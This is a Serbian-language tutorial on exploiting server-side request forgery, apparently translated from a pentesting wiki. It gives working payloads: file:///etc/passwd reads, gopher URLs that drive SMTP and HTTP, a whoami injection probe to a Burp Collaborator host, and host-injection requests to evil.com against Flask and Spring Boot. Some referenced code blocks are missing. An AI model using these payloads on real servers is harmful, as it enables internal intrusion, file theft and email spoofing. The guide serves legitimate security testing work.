Server-side Request Forgery (SSRF) ranjivost se javlja kada napadač manipuliše aplikacijom na serveru da pravi HTTP zahteve ka domenima po svom izboru. Ova ranjivost izlaže server proizvoljnim spoljnim zahtevima koje usmerava napadač.
Zabeležite SSRF
Prva stvar koju treba da uradite je da zabeležite SSRF interakciju koju ste generisali. Da biste zabeležili HTTP ili DNS interakciju, možete koristiti alate kao što su:
Obično ćete otkriti da SSRF funkcioniše samo u određenim dozvoljenim domenima ili URL-ovima. Na sledećoj stranici imate kompilaciju tehnika za pokušaj zaobilaženja te liste:
Ako je server pravilno zaštićen, mogli biste zaobići sve restrikcije iskorišćavanjem otvorenog preusmeravanja unutar web stranice. Pošto će web stranica dozvoliti SSRF ka istom domenu i verovatno će pratiti preusmeravanja, možete iskoristiti otvoreno preusmeravanje da naterate server da pristupi bilo kojem internom resursu.
Pročitajte više ovde: https://portswigger.net/web-security/ssrf
Protokoli
file://
URL šema file:// se referencira, ukazujući direktno na /etc/passwd: file:///etc/passwd
dict://
DICT URL šema se opisuje kao korišćena za pristup definicijama ili listama reči putem DICT protokola. Dati primer ilustruje konstruisani URL koji cilja određenu reč, bazu podataka i broj unosa, kao i primer PHP skripte koja se potencijalno može zloupotrebiti za povezivanje sa DICT serverom koristeći napadačem obezbeđene akreditive: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
Identifikovan kao protokol za sigurni prenos datoteka preko sigurnog šela, dat je primer kako se PHP skripta može zloupotrebiti za povezivanje sa zlonamernim SFTP serverom: url=sftp://generic.com:11111/
TFTP://
Trivial File Transfer Protocol, koji radi preko UDP, pominje se sa primerom PHP skripte dizajnirane da pošalje zahtev TFTP serveru. TFTP zahtev se šalje na 'generic.com' na portu '12346' za datoteku 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
Ovaj segment pokriva Lightweight Directory Access Protocol, naglašavajući njegovu upotrebu za upravljanje i pristup distribuiranim informacijama o direktorijumima preko IP mreža. Interakcija sa LDAP serverom na localhost: '%0astats%0aquit' putem ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
Opisuje se metoda za iskorišćavanje SSRF ranjivosti za interakciju sa SMTP uslugama na localhost-u, uključujući korake za otkrivanje internih imena domena i dalja istraživačka delovanja na osnovu tih informacija.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
Curl URL globbing - WAF zaobilaženje
Ako se SSRF izvršava putem curl, curl ima funkciju nazvanu URL globbing koja može biti korisna za zaobilaženje WAF-ova. Na primer, u ovom writeup-u možete pronaći ovaj primer za putanju prelazaka putem file protokola:
Diskutuje se o sposobnosti Gopher protokola da specificira IP, port i bajtove za komunikaciju sa serverom, zajedno sa alatima kao što su Gopherus i remote-method-guesser za kreiranje payload-a. Ilustrovana su dva različita korišćenja:
Gopher://
Korišćenjem ovog protokola možete specificirati IP, port i bajtove koje želite da server pošalje. Tada možete u suštini iskoristiti SSRF da komunicirate sa bilo kojim TCP serverom (ali prvo morate znati kako da razgovarate sa uslugom).
Na sreću, možete koristiti Gopherus za kreiranje payload-a za nekoliko usluga. Pored toga, remote-method-guesser se može koristiti za kreiranje gopher payload-a za Java RMI usluge.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0Agopher://<server>:8080/_GET /HTTP/1.0%0A%0Agopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Analitički softver na serverima često beleži Referrer header kako bi pratio dolazne linkove, praksa koja nenamerno izlaže aplikacije ranjivostima Server-Side Request Forgery (SSRF). To je zato što takav softver može posetiti spoljne URL-ove navedene u Referrer header-u kako bi analizirao sadržaj referalnih sajtova. Da bi se otkrile ove ranjivosti, preporučuje se Burp Suite dodatak "Collaborator Everywhere", koji koristi način na koji analitički alati obrađuju Referer header za identifikaciju potencijalnih površina napada SSRF.
SSRF putem SNI podataka iz sertifikata
Pogrešna konfiguracija koja bi mogla omogućiti vezu sa bilo kojim backend-om kroz jednostavnu postavku ilustrovana je primerom Nginx konfiguracije:
U ovoj konfiguraciji, vrednost iz polja Server Name Indication (SNI) se direktno koristi kao adresa backend-a. Ova postavka izlaže ranjivost Server-Side Request Forgery (SSRF), koja se može iskoristiti jednostavnim navođenjem željene IP adrese ili imena domena u SNI polju. Primer iskorišćavanja za forsiranje veze sa proizvoljnim backend-om, kao što je internal.host.com, koristeći openssl komandu je dat u nastavku:
Možda bi vredelo probati payload kao što je: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
PDF Renderovanje
Ako web stranica automatski kreira PDF sa nekim informacijama koje ste pružili, možete ubaciti neki JS koji će biti izvršen od strane PDF kreatora (servera) dok kreira PDF i moći ćete da zloupotrebite SSRF. Pronađite više informacija ovde.
Od SSRF do DoS
Kreirajte nekoliko sesija i pokušajte da preuzmete teške fajlove koristeći SSRF iz sesija.
SSRF PHP Funkcije
Proverite sledeću stranicu za ranjive PHP i čak Wordpress funkcije:
Za neka eksploatisanja možda će vam biti potrebno da pošaljete preusmeravajući odgovor (potencijalno da koristite drugačiji protokol kao što je gopher). Ovde imate različite python kodove za odgovor sa preusmeravanjem:
</details>
Flask omogućava korišćenje **`@`** kao početnog karaktera, što omogućava da se **početno ime hosta postavi kao korisničko ime** i injektuje novo. Napadni zahtev:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Ranjiv kod:
Otkriveno je da je moguće početi putanju zahteva sa karakterom ; što omogućava korišćenje @ i injektovanje novog hosta za pristup. Napadni zahtev:
GET ;@evil.com/url HTTP/1.1Host:target.comConnection:close